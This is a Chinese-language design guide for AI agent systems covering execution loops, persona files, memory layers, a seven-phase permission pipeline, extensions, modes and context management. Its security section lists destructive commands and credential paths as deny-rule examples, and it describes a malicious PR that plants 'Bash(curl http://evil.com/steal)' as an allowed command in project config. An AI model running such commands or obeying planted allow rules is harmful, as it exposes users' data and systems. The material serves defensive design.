Agent 系统设计的核心思想
一套面向 Agent 应用设计者的系统化设计原则、架构模式与实战指南。
基于对 WorkBuddy（CodeBuddy Code）工作空间源码、系统提示词、文档与架构的深度分析提炼而成。
目录
- 概述：从 Chatbot 到 Agent 的范式跃迁
- 原则一：闭环执行架构
- 原则二：人格化身份体系
- 原则三：分层记忆系统
- 原则四：纵深防御安全模型
- 原则五：渐进式能力扩展
- 原则六：多模态工作模式
- 原则七：上下文精细管理
- 原则八：可组合的工具哲学
- 系统架构全景图
- 可复用的设计模式清单
- 设计决策框架
- 常见反模式
1. 概述：从 Chatbot 到 Agent 的范式跃迁
1.1 Chatbot 和 Agent 的本质区别
| 维度 | Chatbot | Agent |
|---|---|---|
| 核心能力 | 理解并回答 | 理解、计划、执行、验证 |
| 与环境的交互 | 被动接收文本 | 主动感知文件系统、网络、工具 |
| 输出的性质 | 文本回答 | 实际行动（文件变更、API 调用、部署） |
| 正确性保障 | 依赖训练数据 | 通过执行测试、编译、对比等方式自我验证 |
| 会话生命周期 | 一问一答，无持续性 | 跨多轮持久化，可中断恢复 |
| 用户角色 | 提问者 | 协作者/监督者 |
设计 Agent 系统，首先要完成这个认知跃迁：Agent 不是”更强的 Chatbot”，而是一种全新的交互范式。
1.2 Agent 设计的核心张力
在设计 Agent 系统时，始终面临以下四对核心张力：
能力（can do more）←————————→ 安全（won't do harm）
自主性（autonomy） ←————————→ 可控性（human control）
通用性（general） ←————————→ 专业性（specialized）
上下文利用（use context）←———→ 上下文保护（conserve context）
优秀的 Agent 设计不是在两端之间取”中点”，而是提供可调节的杠杆，让用户在不同场景下自由滑动。
2. 原则一：闭环执行架构
2.1 核心思想
Agent 必须是一个能感知、思考、行动、验证、调整的闭环系统，而非开环的”一次问答”。
2.2 Agent Loop（代理循环）
┌─────────────────────────────────────────────────────────────┐
│ AGENT LOOP │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ 1. 感知 │──▶│ 2. 推理 │──▶│ 3. 决策 │ │
│ │ Observe │ │ Reason │ │ Decide │ │
│ └──────────┘ └──────────┘ └────┬─────┘ │
│ ▲ │ │
│ │ ┌──────────────┘ │
│ │ ▼ │
│ ┌──────────┐ ┌──────────┐ │
│ │ 5. 反思 │◀──│ 4. 执行 │ │
│ │ Reflect │ │ Execute │ │
│ └────┬─────┘ └──────────┘ │
│ │ │
│ ▼ │
│ ┌──────────────────────────────────┐ │
│ │ 条件满足？─Yes→ 结束，返回结果 │ │
│ │ 条件未满足？→ 回到步骤 1 │ │
│ │ 条件不可达？→ 提前终止，解释原因 │ │
│ └──────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
2.3 关键子机制
2.3.1 任务管理系统
不要依赖 Agent “记住”要做什么。必须有一个结构化的任务追踪系统：
# 任务模型示例
Task:
id: string # 唯一标识
subject: string # 标题（祈使句）
description: string # 详细描述
status: pending | in_progress | completed | deleted
blockedBy: [taskId] # 前置依赖
blocks: [taskId] # 被阻塞的任务
owner: string # 执行者（多 Agent 场景）
metadata: object # 扩展字段
核心规则：
- Agent 每次开始工作时，必须将当前任务标记为
in_progress - 完成一个任务后，必须立即标记为
completed，然后检查下一个待办 - 遇到阻塞时，必须创建新的子任务描述阻塞原因
- 支持任务依赖（
blockedBy/blocks），确保执行顺序
2.3.2 Goal-Driven Autonomy（目标驱动自治）
这是 Agent 系统最强大的自治模式之一。与传统”用户每次催一步”不同，设置一个可验证的完成条件，Agent 自己干到满足为止。
工作流程：
- 用户设定条件：一个可度量的、Agent 自己能验证的目标
- Agent 开始工作：每轮完整执行 Agent Loop
- 评估器判定：用小模型（lite / flash）读取对话历史，判断条件是否满足
- 反馈注入：
- 未满足 → 将原因（“还需要完成 X”）以系统消息形式注入对话，Agent 自动继续
- 已满足 → 清除目标，交还控制权
- 不可达 → 提前终止，解释原因
条件设计的关键：条件必须是”Agent 的输出能够证明”的。不能说”确保代码质量很高”（主观），要说”npm test 返回 exit code 0 且 eslint 无报错”（可验证）。
2.3.3 自我验证闭环
Agent 在每次行动后，必须主动验证自己。验证手段包括：
| 验证类型 | 手段 | 适用场景 |
|---|---|---|
| 编译/构建 | exit code 判断 | 代码修改后 |
| 测试套件 | 测试框架输出 | 任何逻辑变更 |
| Lint/格式化 | linter 输出 | 代码风格 |
| 类型检查 | TypeScript / mypy | 类型安全 |
| 截图对比 | 视觉回归 | UI 变更 |
| 数据校验 | 自定义脚本 | 数据处理 |
| API 响应 | HTTP 状态码 + 响应体 | API 开发 |
黄金法则：如果 Agent 产出的东西无法被自动验证，那它就应该被标记为”需要人工审核”。永远不要让不可验证的产物直接上线。
2.4 子代理委派（Sub-Agent Delegation）
主 Agent 应该能够将任务委派给专门的子代理。这不是锦上添花——这是解决上下文污染问题的核心机制。
用户命令
│
▼
┌──────────────┐ 委派调研任务 ┌──────────────────┐
│ 主 Agent │─────────────────────▶│ 子代理（Explore） │
│ (协调者) │ │ 独立上下文窗口 │
│ │◀─────────────────────│ 读取文件、搜索 │
│ 整合结果 │ 返回摘要 │ 返回结构报告 │
└──────┬───────┘ └──────────────────┘
│
│ 委派执行任务
▼
┌──────────────────┐
│ 子代理（Coder） │
│ 独立上下文窗口 │
│ 写代码、测试 │
│ 返回 diff + 结果 │
└──────────────────┘
子代理的关键特性：
- 上下文隔离：每个子代理有独立的上下文窗口，调研过程不消耗主对话 token
- 工具权限控制：子代理只能使用被明确授予的工具
- 模型独立选择：可以为不同子代理配置不同模型（推理任务用强模型，搜索任务用快模型）
- 最大轮次限制：防止子代理陷入死循环
3. 原则二：人格化身份体系
3.1 核心思想
Agent 不是中立的工具，而是有人格、信条和边界的协作伙伴。没有人格的 Agent 只是带工具的搜索引擎。
3.2 身份文件的层级设计
用户空间
├── SOUL.md # 灵魂：“我相信什么，我的边界在哪”
├── IDENTITY.md # 身份：“我是谁，我如何介绍自己”
└── USER.md # 用户画像：“我在和谁协作”
SOUL.md - 灵魂文件
定义 Agent 的核心信条和行为边界。这不是系统提示词，而是一个 Agent “成为自己”的宣言。
# SOUL.md — 核心设计要素
## Core Truths（核心信条）
- 用行动说话，而非废话。拒绝"Great question!"式的表演性友好。
- 有自己的观点。可以不同意、可以有偏好。没有个性的 Agent 没有价值。
- 先自己想办法。读文件、查上下文、搜索——带回答案，而非问题。
- 通过能力赢得信任。对外部操作谨慎，对内部操作大胆。
## Boundaries（边界）
- 隐私至上。绝不泄露用户数据。
- 不确定时先问，而非猜测后执行。
- 不应发送未完成的输出到外部渠道。
- Agent 不是用户的代言人。
## Continuity（连续性）
- 每次会话醒来，记忆文件是唯一的持久记忆。
- 主动读、主动写、主动演化。
设计 SOUL.md 的核心原则：
- 用祈使句和主动语态：不是”你应该…”而是”做到…”
- 具体而非抽象：不是”提供优质服务”，而是”用测试结果而非猜测来证明正确性”
- 可演化：SOUL.md 不是一成不变的。Agent 应该能根据经验更新它。
IDENTITY.md - 身份文件
轻量级的身份元数据：
# IDENTITY.md
- Name: 助手名
- Creature: AI Agent
- Vibe: 务实、直接、不啰嗦
- Emoji: 🤝
USER.md - 用户画像
Agent 需要知道在与谁协作：
# USER.md
- Name: 张三
- Role: 后端工程师
- Preferences: 中文交流、偏好 TypeScript、代码优先于文档
- Current Context: 正在重构支付模块
3.3 人格设计的反例与正例
| 反例（无性格） | 正例（有性格） |
|---|---|
| “我很乐意帮您解决这个问题！请问您想要……" | "这个接口设计有问题——耦合太紧。建议拆成两个独立模块。具体方案：" |
| "我不确定，可能有多种方式……" | "两种方案：A 简单但扩展性差，B 复杂但更灵活。我倾向 B，因为……" |
| "请告诉我更多细节……" | "我先读一下相关代码（已经在做了），直接给你分析。“ |
3.4 人格设计的实际价值
很多人认为”人格化”只是锦上添花。实际上它直接影响 Agent 的实际效果：
- 有偏好的 Agent 更高效：当 Agent 能说”我建议用方案 B”，用户不需要在 4 个选项中纠结。
- 有边界的 Agent 更安全：“我不能执行这个操作，因为这可能会覆盖生产配置”比”请问您确认要执行吗？“更可靠。
- 有自我认知的 Agent 更诚实：“这个问题我拿不准，让我先去查一下相关代码。“vs 编造一个看似合理的答案。
4. 原则三：分层记忆系统
4.1 核心思想
Agent 的”失忆”问题不能靠无限大的上下文窗口解决。分层记忆架构让 Agent 在有限上下文窗口内精准记住该记住的。
4.2 三层记忆架构
┌─────────────────────────────────────────────────────────────┐
│ Layer 1: 云记忆（Cloud Memory） │
│ 服务端自动学习 · 跨设备同步 · 用户无感 │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ 自动用户画像 │ 历史对话检索（语义搜索） │ 长期偏好学习 │ │
│ └──────────────────────────────────────────────────────┘ │
│ 写入策略：服务端自动 │
├─────────────────────────────────────────────────────────────┤
│ Layer 2: 用户级本地记忆（~/.agent/MEMORY.md） │
│ 跨项目 · 用户显式写入 · 精确控制 │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ "始终使用 TypeScript" │ "代码优先于文档" │ 个人规则 │ │
│ └──────────────────────────────────────────────────────┘ │
│ 写入策略：用户显式要求时（Agent 可建议） │
├─────────────────────────────────────────────────────────────┤
│ Layer 3: 工作空间记忆（.agent/memory/） │
│ 单项目 · Agent 自动写入 · 每日日志 + 长期笔记 │
│ ┌──────────────────────────────────────────────────────┐ │
│ │ YYYY-MM-DD.md（追加式日志） │ MEMORY.md（蒸馏后笔记） │ │
│ └──────────────────────────────────────────────────────┘ │
│ 写入策略：Agent 每完成实质性工作后自动记录 │
└─────────────────────────────────────────────────────────────┘
4.3 记忆的核心原则
| 原则 | 说明 | 实践 |
|---|---|---|
| 自动化 vs 显式化 | 云记忆自动学习偏好；本地记忆由用户显式写入 | 两者互补——不要试图用一种方式覆盖所有场景 |
| 分层作用域 | 全设备 → 跨项目 → 单项目，逐层收窄 | 每层存储该层相关的信息，避免冗余 |
| Agent 主动写 | Agent 完成实质性工作后必须自动记录 | 不是等用户说”记住这个” |
| 日志蒸馏 | 超过 N 天的日志自动蒸馏为结构化笔记 | 防止记忆碎片化（30 天是实践验证的阈值） |
| 安全边界 | 不存储密钥、密码、Token | 记忆文件是明文——绝不存敏感信息 |
4.4 记忆文件的组织
每日日志格式（追加式，不可覆盖）：
# YYYY-MM-DD
## 做了什么（一句话 + 文件/配置路径）
- 修复了登录模块的 token 刷新 bug，涉及 src/auth/token.ts
## 关键决策
- 选择 JWT refresh token 方案而非 session 方案，因为……
## 遇到的坑
- OAuth callback URL 在本地开发时需要配置 127.0.0.1 而非 localhost
长期笔记格式（蒸馏后，按主题组织）：
# 项目记忆
## 架构决策
- 2026-06: 选择 tRPC 而非 REST，原因：类型安全 + 无需手写 API 文档
- 2026-07: 数据库从 MySQL 迁移到 PostgreSQL，原因：需要 JSONB 支持
## 技术栈约定
- 前端：Next.js 14 + Tailwind CSS
- 后端：Python FastAPI
- 数据库：PostgreSQL 16
- 部署：Docker Compose → K8s
## 已知问题
- Windows 环境下 webpack HMR 不稳定，临时方案：手动刷新
4.5 记忆架构的反模式
| 反模式 | 问题 | 正确做法 |
|---|---|---|
| 把所有记忆塞入一个文件 | 上下文窗口被无用信息占满 | 分层、分文件、按时效蒸馏 |
| 等待用户说”记住这个” | Agent 丢了大量应该记住的信息 | Agent 主动判断并记录 |
| 用向量数据库存所有对话 | 检索噪音大，语义漂移 | 向量库 + 结构化日志 + 蒸馏笔记三层互补 |
| 记忆文件不清理 | 越积越大直到加载失败 | 定期蒸馏（>30 天日志 → MEMORY.md） |
5. 原则四：纵深防御安全模型
5.1 核心思想
安全不能是一道”门”。Agent 操作文件、执行命令、访问网络——这需要多层过滤网，任何一层被突破，下一层仍可拦截。
5.2 多阶段权限评估流水线
用户操作请求
│
▼
┌──────────────────────────────────────────────────────────┐
│ Phase 1: 硬拒绝规则（Deny Rules） │
│ 最高优先级，不可被任何其他规则覆盖。 │
│ 例：Bash(rm -rf /), Edit(/etc/passwd), WebFetch(internal) │
└──────────────────────────────────────────────────────────┘
│ 如果命中 → 立即拒绝
▼ 未命中
┌──────────────────────────────────────────────────────────┐
│ Phase 2: 可信允许规则（Trusted Allow） │
│ 来自用户个人配置 / CLI 参数 / 会话级白名单 │
│ 可以越过后续的安全检查（因为用户明确信任） │
└──────────────────────────────────────────────────────────┘
│ 如果命中 → 立即放行
▼ 未命中
┌──────────────────────────────────────────────────────────┐
│ Phase 3: 命令安全检查（Command Safety Check） │
│ 高危命令强制询问：rm -rf, sudo, curl 写系统文件, │
│ 修改 .git/config, 覆盖 shell 配置等 │
└──────────────────────────────────────────────────────────┘
│ 如果是高危 → 强制询问用户
▼ 非高危
┌──────────────────────────────────────────────────────────┐
│ Phase 4: 询问规则（Ask Rules） │
│ 用户设置的黑洞：特定工具/操作每次都弹窗确认 │
└──────────────────────────────────────────────────────────┘
│ 如果命中 → 弹窗确认
▼ 未命中
┌──────────────────────────────────────────────────────────┐
│ Phase 5: 不可信允许规则（Untrusted Allow） │
│ 来自项目目录的配置（可能被恶意 PR 注入） │
│ 允许放行，但不能越过命令安全检查 │
└──────────────────────────────────────────────────────────┘
▼
┌──────────────────────────────────────────────────────────┐
│ Phase 6: 权限模式策略（Permission Mode） │
│ 根据当前模式决定是否需要审批 │
└──────────────────────────────────────────────────────────┘
▼
┌──────────────────────────────────────────────────────────┐
│ Phase 7: 沙箱约束（Sandbox Enforcement） │
│ OS 级文件系统 / 网络 / 进程隔离 │
└──────────────────────────────────────────────────────────┘
5.3 可信来源 vs 不可信来源
这是纵深防御的核心概念：
| 来源类型 | 示例 | 信任级别 | 能否越过安全检查 |
|---|---|---|---|
| 用户个人配置 | ~/.agent/settings.json | 可信 | ✅ |
| CLI 启动参数 | --allowedTools "Bash(git:*)" | 可信 | ✅ |
| 会话级设置 | 对话中用户授权的规则 | 可信 | ✅ |
| 团队共享配置 | 项目/.agent/settings.json（git 追踪） | 条件可信 | ❌（需要安全检查） |
| 项目本地配置 | 项目/.agent/settings.local.json | 条件可信 | ❌（需要安全检查） |
为什么这么区分？ 一个恶意 PR 可以在 .agent/settings.json 中写 "allow": ["Bash(curl http://evil.com/steal)"]。如果不区分来源，Agent 会在用户不知情的情况下执行恶意命令。
5.4 防御层次全景
┌──────────────────────────────────────────────────────────────────┐
│ 沙箱层（OS 级） │
│ 文件系统隔离 · 网络白名单 · 进程限制 · 资源配额 │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Hook 层（编程式） │ │
│ │ PreToolUse 钩子 · 自定义策略引擎 · 审计日志 │ │
│ │ ┌───────────────────────────────────────────────────┐ │ │
│ │ │ 规则层（声明式） │ │ │
│ │ │ allow/ask/deny 粒度规则 · 信任目录 · 受保护路径 │ │ │
│ │ │ ┌────────────────────────────────────────────┐ │ │ │
│ │ │ │ 模式层（场景式） │ │ │ │
│ │ │ │ default / plan / bypass / delegate / ... │ │ │ │
│ │ │ └────────────────────────────────────────────┘ │ │ │
│ │ └───────────────────────────────────────────────────┘ │ │
│ └──────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
5.5 安全设计清单
- 高危命令（
rm -rf /,sudo,chmod 777等）是否在 deny 规则中？ - 系统关键路径（
/etc/,~/.ssh/,.git/等）是否受保护？ - 项目级配置是否被归为”不可信”来源？
- 是否有沙箱选项用于高风险场景？
- 是否有 PreToolUse Hook 用于自定义安全检查？
- 用户是否能按场景快速切换安全级别？
- 非交互模式（headless / CI）下是否有额外的安全限制？
6. 原则五：渐进式能力扩展
6.1 核心思想
Agent 的能力不是”越多越好”——是在正确的时间加载正确的知识。把所有能力塞进系统提示词只会让 Agent 变笨。
6.2 六层扩展体系
Plugins ← 一键安装的能力包（Skills + Agents + Hooks + MCP）
└─ MCP ← 外部工具/数据源的标准接入协议
└─ Hooks ← 生命周期事件驱动的强制行为
└─ Agents ← 独立上下文的专门代理
└─ Skills ← 按需加载的领域知识 + 工作流
└─ Experts ← 人格化的专业角色
各层对比：
| 扩展类型 | 粒度 | 触发方式 | 上下文消耗 | 确定性 | 典型场景 |
|---|---|---|---|---|---|
| Skills | 中 | AI 自动识别 + 手动 | 按需加载（三级） | 建议性 | PDF 处理、数据库查询 |
| Agents | 粗 | 主 Agent 委派 | 独立上下文 | 取决于子代理 | 代码审查、安全扫描 |
| Hooks | 细 | 生命周期事件 | 接近零 | 确定性（强制执行） | 自动格式化、pre-commit |
| MCP | 粗 | 工具调用 | 按需 | 取决于服务端 | 数据库、Figma、Notion |
| Plugins | 粗 | 一键安装 | 打包式 | 综合 | 语言智能、市场插件 |
| Experts | 粗 | 对话入口 | 角色专属 | 综合 | 金融分析专家、安全专家 |
6.3 Skills 的渐进式加载设计
这是最精巧的能力扩展设计。Skills 不加载到主提示词，而是通过三级加载机制按需注入：
┌─────────────────────────────────────────────────────────────┐
│ Level 1: 元数据（name + description） │
│ 始终在上下文 (~100 words) │
│ Agent 通过元数据判断"这个 Skill 是否相关" │
├─────────────────────────────────────────────────────────────┤
│ Level 2: SKILL.md 正文 │
│ 匹配到相关任务时加载 (<5000 words) │
│ 包含工作流指令、工具使用说明、领域知识 │
├─────────────────────────────────────────────────────────────┤
│ Level 3: 捆绑资源（scripts/ references/ assets/） │
│ 按需加载或直接执行（无 token 限制*） │
│ scripts/ 可以不加载到上下文而直接执行 │
└─────────────────────────────────────────────────────────────┘
Skills vs Hooks：建议 vs 强制执行
这是 Agent 能力扩展中最重要的区分：
- Skills 是”建议”：Agent 在相关场景自动应用，但不保证。适合领域知识。
- Hooks 是”强制执行”：在特定事件发生时一定触发，不能跳过。适合硬约束。
实践法则：如果一条规则 Agent 反复不遵守，说明它应该从 Skill 变成 Hook。
6.4 Skill 目录结构
skills/
└── pdf-editor/
├── SKILL.md # 必须：元数据 + 指令
├── scripts/ # 可选：可执行脚本（不消耗上下文）
│ └── rotate_pdf.py
├── references/ # 可选：参考文档（按需加载到上下文）
│ ├── pdf_spec.md
│ └── api_reference.md
└── assets/ # 可选：模板、图标、字体等产出物
└── report_template.html
6.5 能力扩展的决策树
需要扩展 Agent 的能力吗？
│
├── 是领域知识/工作流？
│ → 创建 Skill（SKILL.md）
│
├── 是需要独立上下文的任务？
│ → 创建 Agent（Sub-Agent）
│
├── 是需要强制执行的规则？
│ → 创建 Hook（Hooks）
│
├── 是外部工具/数据源？
│ → 接入 MCP Server
│
├── 是多个能力的组合包？
│ → 创建 Plugin
│
└── 是需要专业角色的对话入口？
→ 创建 Expert
7. 原则六：多模态工作模式
7.1 核心思想
不同任务需要不同的交互节奏。Agent 应提供可切换的工作模式，而不是一种模式打天下。
7.2 三种基础交互姿态
🔨 Craft Mode（执行模式）
直接动手完成任务。
Agent 可以读文件、写代码、执行命令。
适合：明确的任务、代码修改、数据处理。
🧠 Plan Mode（计划模式）
先想后做，计划驱动。
Agent 只做只读操作（读文件、搜索、分析），
产出实施计划而非代码变更。
适合：复杂重构、新功能设计、代码审查。
💬 Ask Mode（问答模式）
只谈不做，纯分析。
Agent 不能修改任何文件，不能执行有副作用的命令。
适合：代码解释、架构咨询、学习探索。
7.3 权限模式（Permission Modes）
在 Craft Mode 内部，还应进一步区分权限级别：
| 模式 | 自动放行 | 适用场景 | 风险等级 |
|---|---|---|---|
| Default | 仅读文件（信任目录内） | 敏感工作、新手期 | 低 |
| Accept Edits | 读 + 编辑文件（信任目录内） | 日常开发，写完看 diff | 中 |
| Plan | 仅读文件，只产出计划 | 探索分析、变更规划 | 低 |
| Bypass | 全部放行 | 沙箱容器 / CI / 离线环境 | 高 |
| Delegate | 仅协调类操作 | 主 Agent 只分配任务 | 低 |
7.4 模式切换的 UX
模式切换的门槛必须极低。如果用户需要翻三层菜单才能切换模式，他们就不会用了。
最佳实践：一键循环切换（如 Shift+Tab），在当前模式间快速切换。状态栏实时显示当前模式。
default → acceptEdits → plan → bypass → delegate → default → ...
7.5 思考模式（Thinking / Reasoning Mode）
为复杂任务提供”深入思考”模式，让模型在回答前进行扩展推理：
- 默认关闭：节省 token 和响应时间
- 一键开启：如 Tab 键切换
- 自然语言触发：提示中包含”深入思考”等关键词时自动启用
- 过程可见：思考过程以斜体展示，用户可监督
8. 原则七：上下文精细管理
8.1 核心思想
上下文窗口是 Agent 系统最稀缺的资源。不是拼命加大窗口，而是设计精巧的管理策略。
8.2 四项核心机制
┌──────────────────────────────────────────────────────────┐
│ 1. 检查点回退（Checkpoint & Rewind） │
│ 每个写操作前自动存快照；支持独立回退代码/对话 │
│ 用途："改坏了，让我回到 3 步之前" │
├──────────────────────────────────────────────────────────┤
│ 2. 会话清空（Context Reset） │
│ 一键清空全部上下文，开始全新对话 │
│ 用途："上下文被无关内容污染，重来" │
├──────────────────────────────────────────────────────────┤
│ 3. 智能压缩（Context Compaction） │
│ 保留关键信息（代码模式、决策、文件状态），丢弃细节 │
│ 用途："上下文快满了但不想全丢" │
├──────────────────────────────────────────────────────────┤
│ 4. 子代理隔离（Sub-Agent Isolation） │
│ 调研类任务在独立上下文中执行，只返回摘要 │
│ 用途："要读 100 个文件分析架构但不污染主对话" │
└──────────────────────────────────────────────────────────┘
8.3 “两次纠正法则”
这是一条经验法则，非常重要：
如果同一个问题 Agent 做错了两次，说明上下文已经被失败的尝试污染。 此时不要继续追加纠正——直接清空上下文，用更清晰的提示重新开始。 干净的上下文 + 更好的提示 > 不断追加纠正的长对话。
8.4 上下文压缩的策略
压缩时保留和丢弃的内容：
| 保留 | 丢弃 |
|---|---|
| 修改过的文件列表 | 已完成的中间步骤细节 |
| 关键架构决策 | 失败的尝试（除关键教训外） |
| 测试命令和结果 | 冗余的文件内容片段 |
| 当前的阻塞问题 | 已被撤销的代码变更 |
| 用户明确的偏好要求 | 已过时的上下文信息 |
8.5 子代理类型设计
| 子代理类型 | 可用工具 | 适用场景 |
|---|---|---|
| Explore | Read, Grep, Glob, Bash | 代码库调研、架构分析 |
| Plan | Read, Grep, Glob, WebFetch | 方案规划、文档分析 |
| Coder | Read, Write, Edit, Bash | 代码实现、重构 |
| Reviewer | Read, Grep, Glob, Bash | 代码审查、安全检查 |
| Test Runner | Read, Bash | 测试执行、CI 验证 |
9. 原则八：可组合的工具哲学
9.1 核心思想
Agent 应该被设计为一个Unix 风格的 CLI 工具——管道友好、脚本可编排、标准 I/O ——而非封闭的 IDE 插件。
9.2 Unix 集成的具体体现
# 管道：标准输入作为上下文
git log --oneline | agent "分析这些提交，找出可能的问题"
cat error.log | agent "帮我定位这个错误的根因"
# 脚本编排：批量处理
for file in $(cat files.txt); do
agent -p "将 $file 从 CommonJS 迁移到 ESM" --allowedTools "Edit"
done
# 结构化输出：下游解析
agent -p "分析代码质量" --output-format json | jq '.issues[] | .severity' | sort | uniq -c
# CI/CD 集成
agent -p "审查本次 PR 的安全问题" --permission-mode plan --output-format stream-json
# 组合能力
agent -p "生成周报" | mail -s "每周技术报告" team@company.com
9.3 CLI Agent 的设计原则
| 原则 | 实践 |
|---|---|
| 标准输入即上下文 | stdin 的内容自动成为 Agent 的上下文来源 |
| 结构化输出 | 支持 --output-format json / stream-json 方便下游解析 |
| 无头模式 | -p "提示" 非交互式单次执行，适合脚本和 CI |
| 可组合 | 输入来自管道，输出进入管道，Agent 是流水线中的一环 |
| 退出码语义 | 0 = 成功完成，非 0 = 失败/错误 |
| 权限受控 | 无头模式下的权限不应比交互模式更宽松 |
9.4 为什么”可组合”很重要？
一个反例：假设你的 Agent 只能通过 Web UI 交互。你希望它对 200 个文件执行批量重构。你需要手动打开网页、粘贴提示、等待结果、复制输出 200 次。
一个正例：你的 Agent 支持 CLI + stdin/stdout。你写一个 5 行的 bash 循环，喝杯咖啡，回来所有工作都已完成。
这是本质区别。 可组合的 Agent 可以嵌入任何自动化流程——CI/CD、cron job、pre-commit hook、监控告警响应。封闭的 Agent 只能等用户手把手操作。
10. 系统架构全景图
10.1 层次架构
┌──────────────────────────────────────────────────────────────────┐
│ ⑧ 可组合的工具哲学 │
│ Agent 作为 Unix 管道的一环，支持 stdin/stdout/JSON │
│ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ ① Agent Loop 闭环执行框架 │ │
│ │ Observe → Reason → Decide → Execute → Reflect → Loop │ │
│ │ │ │
│ │ ┌────────────────────────────────────────────────────────┐ │ │
│ │ │ ⑥ 多模态工作模式（Craft/Plan/Ask + Goal） │ │ │
│ │ │ 决定 Agent 与用户的交互节奏与自主程度 │ │ │
│ │ │ │ │ │
│ │ │ ┌──────────────────┐ ┌──────────────────┐ │ │ │
│ │ │ │ ② 人格化身份体系 │ │ ③ 分层记忆系统 │ │ │ │
│ │ │ │ SOUL · IDENTITY │ │ Cloud · User · WS │ │ │ │
│ │ │ │ "我是谁" │ │ "我记得什么" │ │ │ │
│ │ │ └──────────────────┘ └──────────────────┘ │ │ │
│ │ │ │ │ │
│ │ │ ┌──────────────────────────────────────────────────┐ │ │ │
│ │ │ │ ⑦ 上下文精细管理 │ │ │ │
│ │ │ │ Checkpoint · /clear · /compact · Sub-Agent Iso │ │ │ │
│ │ │ │ 有限窗口下的无限能力保障 │ │ │ │
│ │ │ └──────────────────────────────────────────────────┘ │ │ │
│ │ │ │ │ │
│ │ │ ┌──────────────────────────────────────────────────┐ │ │ │
│ │ │ │ ⑤ 渐进式能力扩展 │ │ │ │
│ │ │ │ Skills → Agents → Hooks → MCP → Plugins → Experts│ │ │ │
│ │ │ │ 按需加载，不污染上下文 │ │ │ │
│ │ │ └──────────────────────────────────────────────────┘ │ │ │
│ │ └────────────────────────────────────────────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────────────────────────────┐ │
│ │ ④ 纵深防御安全模型（贯穿全层） │ │
│ │ 8-Phase Permission · Sandbox · Trusted Sources · Hooks │ │
│ └─────────────────────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────────────┘
10.2 层间关系
执行框架（① Agent Loop） ← 引擎，所有设计的底座
↓
交互模式（⑥ Working Modes） ← 节奏控制，决定自主程度
↓
身份记忆（②③ Identity+Memory） ← 连续性的来源，"我是谁"+"我记得什么"
↓
上下文管理（⑦ Context Mgmt） ← 效率保障，有限窗口 → 无限能力
↓
能力扩展（⑤ Extensibility） ← 能力天花板突破
↓
安全体系（④ Defense-in-Depth） ← 贯穿全层的保障
↓（边界定义）
工具哲学（⑧ Unix Philosophy） ← Agent 在整个生态中的定位
11. 可复用的设计模式清单
以下是经过验证的、可直接应用于任何 Agent 系统的设计模式：
| # | 设计模式 | 一句话描述 | 适用场景 |
|---|---|---|---|
| 1 | 小模型看守 + 大模型执行 | 用廉价小模型做评估器判断任务是否完成，大模型专注执行 | 任务自动化、Goal-driven 系统 |
| 2 | 三级渐进式加载 | 元数据（始终）→ 正文（匹配时）→ 资源（按需），不污染上下文 | 任何有插件/扩展系统的 Agent |
| 3 | 可信/不可信来源分级 | 用户配置为可信（可越过安全检查），项目配置需验证 | 安全权限系统 |
| 4 | 子代理上下文隔离 | 调研/分析类任务在独立上下文中执行，最后只返回摘要 | 代码库分析、架构调研 |
| 5 | SOUL/IDENTITY 人格文件 | 给 Agent 定义信条、边界、风格、演化的结构化文件 | 面向用户的 Agent 产品 |
| 6 | Goal-Driven Autonomy | 设置可验证条件 → Agent 自己干到满足 → 评估器验证 → 交还 | CI/CD、代码迁移、批处理 |
| 7 | 反馈注入式纠偏 | 评估器将 reason 以系统消息注入对话，让 Agent 知道还差什么 | 多轮自治执行 |
| 8 | 检查点 + 独立回退 | 每个操作前自动存快照，支持代码/对话独立回退 | 代码编辑、文件操作类 Agent |
| 9 | 脚本外挂执行 | 扩展中的 script 可以不加载到上下文直接执行 | 需要确定性操作的场景 |
| 10 | 一键模式循环切换 | 单快捷键在多种权限/工作模式间循环切换 | 需要灵活控制 Agent 自主度的场景 |
| 11 | 管道输入作为上下文 | stdin 的内容自动成为 Agent 的分析对象 | CLI Agent |
| 12 | 全生命周期事件 Hook | Session / PreToolUse / PostToolUse / Task / SubAgent 等事件 | 需要自定义策略引擎的框架 |
| 13 | Agent 主动写记忆 | Agent 每完成实质性工作后必须自动记录日志 | 所有 Agent 系统 |
| 14 | 两次纠正法则 | 同一错误纠正两次仍失败 → 清空上下文，更好的提示重来 | 所有 Agent 系统 |
12. 设计决策框架
12.1 开始设计 Agent 系统前要回答的问题
基础决策
- Agent 会操作什么？ 文件系统？数据库？网络？外部 API？其他应用？
- 用户如何与 Agent 交互？ CLI？Web UI？IDE 集成？API？
- Agent 有多自主？ 每步确认（Default）→ 编辑放行（Accept Edits）→ 计划模式（Plan）→ 全自主（Bypass）？
- Agent 如何验证自己？ 测试？编译？lint？截图对比？人工审核？
- Agent 的记忆范围多大？ 单会话？跨会话？跨设备？跨项目？
架构决策
- 能力如何扩展？ 硬编码在提示词？Skill 文件？插件市场？MCP 服务器？
- 安全如何保障？ 单层规则？多层过滤？沙箱？Hook 策略引擎？
- 如何管理上下文窗口？ 清空策略？压缩策略？子代理隔离？分级加载？
- 支持多 Agent 协作吗？ 单 Agent？主代理 + 子代理？多 Agent 对等协作？
- Agent 有人格吗？ 中性工具？有偏好？有性格？可演化？
12.2 每个原则的实施优先级
| 原则 | MVP 阶段 | 成熟期 | 说明 |
|---|---|---|---|
| Agent Loop | ✅ 必须 | ✅ 增强 | 最基础的执行框架 |
| 人格化身份 | ⚠️ 基础 | ✅ 完善 | MVP 可以简单，但必须有 |
| 分层记忆 | ⚠️ 单层 | ✅ 三层 | MVP 可以用单文件，成熟后分层 |
| 纵深安全 | ✅ 必须 | ✅ 增强 | 安全不能是后加的 |
| 能力扩展 | ❌ 后期 | ✅ 建设 | MVP 不需要复杂扩展 |
| 工作模式 | ✅ 基础 | ✅ 增强 | 至少要有 Craft + Plan |
| 上下文管理 | ⚠️ 基础 | ✅ 增强 | 至少要有 /clear |
